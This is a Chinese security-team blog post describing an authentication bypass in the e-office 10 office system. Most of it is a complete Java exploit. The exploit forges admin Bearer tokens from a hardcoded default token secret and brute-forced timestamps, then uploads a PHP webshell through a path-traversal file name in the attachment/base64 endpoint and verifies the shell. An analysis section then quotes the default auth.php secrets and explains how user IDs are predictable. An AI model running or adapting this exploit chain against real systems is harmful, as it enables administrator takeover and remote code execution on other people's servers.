“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
漏洞版本
漏洞利用
利用条件:存在在线的用户
例如:
假设:管理员已经登录
运行如下脚本,生成token
这里只是爆破了在以当前时间为基准的前15分钟和当前时间后3分钟内管理员登录的token,如果需要爆破更长时间,可以将代码中的
int count1 = 60 * 15 , 15 的值设置大一些.
利用代码如下:
package com.C0lorful.algorithm;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.ArrayList;
public class VulnEoffice {
public static ArrayList<String> generateToken() {
ArrayList<String> arrayList = new ArrayList<>();
String tokenSecret = "HLVFscA97YMRRlVyNMvueWIBIITX8Q11";
String tokenAlgo = "SHA-512";
long theTime = System.currentTimeMillis() / 1000;
String type = "access";
String type2 = "refresh";
String userId = "admin";
// 下面是普通用户的 userId
// String userId = "WV00000002";
int count1 = 60 * 3;
int count2 = 60 * 3;
long beforeTime = theTime - count1;
long afterTime = theTime + count2;
MessageDigest digest;
try {
digest = MessageDigest.getInstance(tokenAlgo);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return null;
}
// 爆破之前的
long tempTime = theTime;
while (tempTime >= beforeTime) {
String accessHash = generateHash(digest, type + userId + tempTime + tokenSecret);
String refreshHash = generateHash(digest, type2 + userId + tempTime + tokenSecret);
arrayList.add("Bearer " + accessHash);
// System.out.println(accessHash);
// System.out.println(refreshHash);
tempTime = tempTime - 1;
}
// 爆破之后的
tempTime = theTime;
while (tempTime <= afterTime) {
String accessHash = generateHash(digest, type + userId + tempTime + tokenSecret);
String refreshHash = generateHash(digest, type2 + userId + tempTime + tokenSecret);
arrayList.add("Bearer " + accessHash);
// System.out.println("Bearer " + accessHash);
// System.out.println("Bearer " + refreshHash);
tempTime = tempTime + 1;
}
return arrayList;
}
private static String generateHash(MessageDigest digest, String input) {
byte[] hashBytes = digest.digest(input.getBytes());
StringBuilder hexString = new StringBuilder();
for (byte b : hashBytes) {
String hex = Integer.toHexString(0xff & b);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
}
public static void vuln(String token) {
try {
// 创建URL对象
URL url = new URL("http://172.20.10.5:8010/eoffice10/server/public/api/attachment/base64");
// 创建代理对象
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8080));
// 打开连接,并设置代理
HttpURLConnection connection = (HttpURLConnection) url.openConnection(proxy);
// 设置请求方法为POST
connection.setRequestMethod("POST");
connection.setRequestProperty("Authorization", token);
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 启用输出流
connection.setDoOutput(true);
String randomNumber = String.valueOf(getRandomNumber());
String fileName = md5Generate(randomNumber);
// 设置请求体内容
String requestBody = "image_file=data:image/php;base64,PD9waHAgcGhwaW5mbygpO2M/Pg==&image_name=../../../../../www/" + fileName;
System.out.println("fileName :" + fileName + ".php");
byte[] requestBodyBytes = requestBody.getBytes(StandardCharsets.UTF_8);
connection.setRequestProperty("Content-Length", String.valueOf(requestBodyBytes.length));
connection.getOutputStream().write(requestBodyBytes);
// 发送请求并获取响应代码
int responseCode = connection.getResponseCode();
// 读取响应内容
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line;
StringBuilder response = new StringBuilder();
while ((line = reader.readLine()) != null) {
response.append(line);
}
reader.close();
// 打印响应内容和响应代码
System.out.println("Response Code: " + responseCode);
System.out.println("Response Body: " + response.toString());
connection.disconnect();
if (responseCode == 200) {
// 打开连接,并设置代理
HttpURLConnection connection2 = (HttpURLConnection) (new URL("http://172.20.10.5:8010/" + fileName + ".php")).openConnection();
// 设置请求方法为GET
connection2.setRequestMethod("GET");
if (connection2.getResponseCode() == 200) {
System.out.println("vlun success,the webshell url is: " + "http://172.20.10.5:8010/" + fileName + ".php");
}
}
// 关闭连接
} catch (IOException e) {
e.printStackTrace();
}
}
public static void doGet(String token) {
try {
// 创建URL对象
URL url = new URL("http://172.20.10.5:8010/eoffice10/server/public/api/customer/contact-record?limit=10&page=1&withComment=1");
// 创建代理对象
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8080));
// 打开连接,并设置代理
HttpURLConnection connection = (HttpURLConnection) url.openConnection(proxy);
// 设置请求方法为GET
connection.setRequestMethod("GET");
connection.setRequestProperty("Authorization", token);
// 发送请求并获取响应代码
try {
int responseCode = connection.getResponseCode();
if (responseCode == 200) {
// 打印响应内容和响应代码
System.out.println("Response Code: " + responseCode);
// 读取响应内容
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line;
StringBuilder response = new StringBuilder();
while ((line = reader.readLine()) != null) {
response.append(line);
}
System.out.println("Authorization: " + token);
System.out.println("Response Body: " + response.toString());
reader.close();
vuln(token);
}
// 关闭连接
connection.disconnect();
} catch (Exception e) {
e.printStackTrace();
}
} catch (IOException e) {
e.printStackTrace();
}
}
public static String md5Generate(String param) {
try {
// 获取MD5消息摘要实例
MessageDigest md = MessageDigest.getInstance("MD5");
// 计算输入字符串的MD5哈希值
byte[] hashBytes = md.digest(param.getBytes());
// 将哈希值转换为十六进制字符串
StringBuilder sb = new StringBuilder();
for (byte b : hashBytes) {
sb.append(String.format("%02x", b));
}
String md5Hash = sb.toString();
// 打印MD5哈希值
System.out.println("MD5 Hash: " + md5Hash);
return md5Hash;
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return param;
}
public static int getRandomNumber() {
SecureRandom secureRandom = new SecureRandom();
int randomNumber = secureRandom.nextInt();
return randomNumber;
}
public static void main(String[] args) {
ArrayList<String> TokenList = generateToken();
for (String token : TokenList) {
doGet(token);
}
}
}
漏洞分析
登录token 的生成代码
eoffice10/server/app/EofficeApp/Auth/Services/AuthService.php
查看用户凭证生成方式
判断登录方式
$this->isMobile())
这里移动端的判断方式比较容易绕过
这里的 $mobile_refresh_token_ttl $web_refresh_token_ttl都是从认证配置文件 auth.php读取的
具体路径为:eoffice10/server/config/auth.php
经过多次在不同机器上安装,发现auth.php 配置文件中的键值对是不变的
if ($this->isMobile()) {
$refreshTokenTtl = config("auth.mobile_refresh_token_ttl");
} else {
$refreshTokenTtl = config("auth.web_refresh_token_ttl");
}
mobile_refresh_token_ttl——>10080
web_refresh_token_ttl——>120
return [
"token_secret" => envOverload("TOKEN_SECRET", "HLVFscA97YMRRlVyNMvueWIBIITX8Q11"),
"token_algo" => "sha512",
"login_key_secret" => "56bba8589219c78f982ba9816acefefa9cf7b0ede10c7e289769208d4cc5c2c97863e10e68087adc7c37f65ae0d0f8ffecf214813662cb5e37c438e215473592",
"web_token_ttl" => envOverload("WEB_TOKEN_TTL", 60),
"web_refresh_token_ttl" => envOverload("WEB_REFRESH_TOKEN_TTL", 120),
"mobile_token_ttl" => envOverload("MOBILE_TOKEN_TTL", 1440),
"mobile_refresh_token_ttl" => envOverload("MOBILE_REFRESH_TOKEN_TTL", 10080),
"token_grace_period" => envOverload("TOKEN_GRACE_PERIOD", 2)];
查看generateToken方法
根据上图中代码,可以发现登录的token是通过hash函数生成的
hash($tokenAlgo, $type . $userId . $tokenTime . $tokenSecret, false)
这里的 $tokenAlgo $tokenSecret 也都是从认证配置文件 auth.php读取的,这里的$tokenAlgo和$tokenSecret的值如下:
$tokenAlgo ——> sha512
$tokenSecret ——> HLVFscA97YMRRlVyNMvueWIBIITX8Q11
$type = "access",$tokenTime = time(); 所以只需要获取$userId即可
获取用户userid
通过创建新用户和查看数据库的用户id号,发现如果是管理员,则userId是admin,如果为非管理员用户,那么userId为WV00000001**,**依次递增
管理员 $userId————>admin
普通用户 $userId————>WV0000000pos
下面这里是连续创建了三个用户,可以看到userId是依次按照顺序递增的
下面代码可以看到新的普通用户的userId的生成方式